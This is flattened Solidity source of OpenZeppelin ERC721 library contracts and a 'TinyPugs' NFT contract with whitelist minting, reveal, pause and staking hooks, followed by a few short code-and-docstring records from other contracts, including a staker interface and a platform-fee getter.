(bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/TinyPugs.sol pragma solidity ^0.8.4; /// @custom:security-contact https://discord.gg/poodles contract TinyPugs is ERC721Enumerable, Pausable, Ownable { using Strings for uint256; bool public revealed; bool public onlyWhitelisted; string public baseExtension; string public notRevealedURI; string public baseURI; uint256 public cost; uint256 public maxMintableTokens; uint256 public maxMintPerXn; uint256 public maxMintPerAcct; address public marketingFund; address public staker; address[] public whitelistedUsers; /// @dev Initialize contract with known variables. constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _notRevealedURI, string memory _baseExtension, uint256 _maxMintableTokens, uint256 _maxMintPerXn, uint256 _maxMintPerAcct, uint256 _cost ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_notRevealedURI); baseExtension = _baseExtension; maxMintableTokens = _maxMintableTokens; setMaxMintPerAcct(_maxMintPerAcct); setMaxMintPerXn(_maxMintPerXn); setCost(_cost); setOnlyWhitelisted(true); } /// @dev Returns the length of whitelistedUsers. function getWhitelistLength() public view returns (uint256) { return whitelistedUsers.length; } /// @dev Set `baseURI` to `_newBaseURI`. function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } /// @dev Set `notRevealedURI` to `_notRevealedURI`. function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedURI = _notRevealedURI; } /// @dev Set `maxMintPerXn` to `_newMaxMintPerXn`. function setMaxMintPerXn(uint256 _newMaxMintPerXn) public onlyOwner { require(_newMaxMintPerXn <= maxMintableTokens, 'TinyPugs: maxMintPerXn cannot be greater than maxMintableTokens.'); require(_newMaxMintPerXn <= maxMintPerAcct, 'TinyPugs: maxMintPerXn cannot be greater than maxMintPerAcct.'); maxMintPerXn = _newMaxMintPerXn; } /// @dev Set `maxMintPerAcct` to `_newMaxMintPerAcct`. function setMaxMintPerAcct(uint256 _newMaxMintPerAcct) public onlyOwner { require(_newMaxMintPerAcct >= maxMintPerXn, 'TinyPugs: maxMintPerAcct cannot be less than maxMintPerXn.'); require(_newMaxMintPerAcct <= maxMintableTokens, 'TinyPugs: maxMintPerAcct cannot be greater than maxMintableTokens.'); maxMintPerAcct = _newMaxMintPerAcct; } /// @dev Set `cost` to `_newCost`. function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } /// @dev Set `marketingFund` to `_newMarketingFund`. function setMarketingFund(address _newMarketingFund) public onlyOwner { require(_newMarketingFund != address(0), "TinyPugs: cannot assign the zero address."); marketingFund = _newMarketingFund; } /// @dev Set `onlyWhitelisted` to `_newBool`. function setOnlyWhitelisted(bool _newBool) public onlyOwner { onlyWhitelisted = _newBool; } /// @dev Set `whitelistedUsers` to `_newWhitelistedUsers`. /// Assumes `_newWhitelistedUsers` is not too long to allow all users to mint. /// Assumes no duplicate values within `_newWhitelistedUsers`. function setWhitelist(address[] calldata _newWhitelistedUsers) external onlyOwner { whitelistedUsers = _newWhitelistedUsers; } /// @dev Set `staker` to `_newStaker`. function setStaker(address _newStaker) public onlyOwner { require(_newStaker != address(0), "TinyPugs: cannot assign the zero address."); staker = _newStaker; } /// @dev Push a value onto `whitelistedUsers`. function pushWhitelist(address _newUser) external onlyOwner { require(_newUser != address(0), "TinyPugs: cannot whitelist the zero address."); require(!isWhitelistedUser(_newUser), "TinyPugs: cannot redundantly whitelist a user."); whitelistedUsers.push(_newUser); } /// @dev Set `revealed` state to true. function reveal() public onlyOwner { revealed = true; } /// @dev Set `_paused` state to true. function pause() public onlyOwner { _pause(); } /// @dev Set `_paused` state to false. function unpause() public onlyOwner { _unpause(); } /// @dev See {IERC721Metadata-tokenURI}. /// Overridden to provide `revealed` mechanism and `baseExtension` concatenation. function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (!revealed) { return notRevealedURI; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } /// @dev Mint `_mintAmount` tokens for `cost` per token, if permitted. function safeMint(uint256 _mintAmount) public payable { uint256 mintedSupply = totalSupply(); require(_mintAmount > 0, "TinyPugs: cannot mint non-positive amount."); require(mintedSupply + _mintAmount <= maxMintableTokens, "TinyPugs: cannot mint more tokens than available."); if (_msgSender() != owner()) { if (onlyWhitelisted) { require(isWhitelistedUser(_msgSender()), "TinyPugs: cannot permit mint from non-whitelisted address."); } require(_mintAmount <= maxMintPerXn, "TinyPugs: cannot mint more than maxMintPerXn in a transaction."); require(balanceOf(_msgSender()) + _mintAmount <= maxMintPerAcct, "TinyPugs: cannot mint more than maxMintPerAcct per owner address."); require(msg.value >= cost * _mintAmount, "TinyPugs: not enough wei provided as payment."); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_msgSender(), mintedSupply + i); } } /// @dev Stake provided tokenId for PPLNT. /// Assumes staker has been assigned. function stake(uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_msgSender() == owner, "TinyPugs: cannot stake token that isn't owned by sender."); approve(staker, _tokenId); INftStaker(staker).stake(_tokenId, owner); } /// @dev Unstake provided tokenId. /// msg.sender to this function must be the address that staked _tokenId, the original owner. /// Assumes staker has been assigned. function unstake(uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(staker == owner, "TinyPugs: cannot unstake token that isn't owned by staker."); INftStaker(staker).unstake(_tokenId, _msgSender()); } /// @dev Withdraw 100% of funds in this contract into the marketingFund. function withdraw() public payable onlyOwner { require(marketingFund != address(0), "TinyPugs: marketingFund not initialized."); (bool success, ) = payable(marketingFund).call{value: address(this).balance}(""); require(success); } /// @dev Search for a match within whitelistedUsers array and return a bool /// indicating if the address was found. function isWhitelistedUser(address _candidate) internal view returns (bool) { for (uint256 i; i < whitelistedUsers.length; i++) { if (_candidate == whitelistedUsers[i]) { return true; } } return false; } /// @dev See {ERC721-_baseURI}. /// Overridden to leverage `baseURI` in storage. function _baseURI() internal view override returns (string memory) { return baseURI; } /// @dev See {ERC721-_beforeTokenTransfer}. /// Overridden to apply modifier, whenNotPaused. function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override { super._beforeTokenTransfer(from, to, tokenId); } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return super.supportsInterface(interfaceId); } }
Interface allowing calling of stake and unstake on staking contract.
interface INftStaker { function stake(uint256 _tokenId, address _tokenOwner) external; function unstake(uint256 _tokenId, address _tokenOwner) external; }
13,520,596
./full_match/80001/0x88517aB345F1e7492227E3515641B8b51019d7dd/sources/src/contracts/SignatureMintWithParamsERC1155.sol
Returns the flat platform fee and recipient.
function getFlatPlatformFeeInfo() external view returns (address, uint256) { return (platformFeeRecipient, flatPlatformFee); }
841,912